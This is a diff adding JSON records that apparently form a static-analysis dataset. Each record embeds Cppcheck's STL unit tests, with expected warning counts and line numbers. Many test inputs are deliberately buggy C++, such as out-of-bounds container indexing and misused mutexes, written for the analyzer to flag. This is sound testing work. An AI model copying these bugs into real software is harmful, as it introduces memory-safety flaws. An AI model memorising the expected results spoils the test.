ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkFindInsert.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkFindInsert.json new file mode 100644 index 0000000..eac5562 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkFindInsert.json @@ -0,0 +1,22 @@ +{ + "name": "checkFindInsert", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 40, + "branches": 16, + "apis": 44, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6560 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() 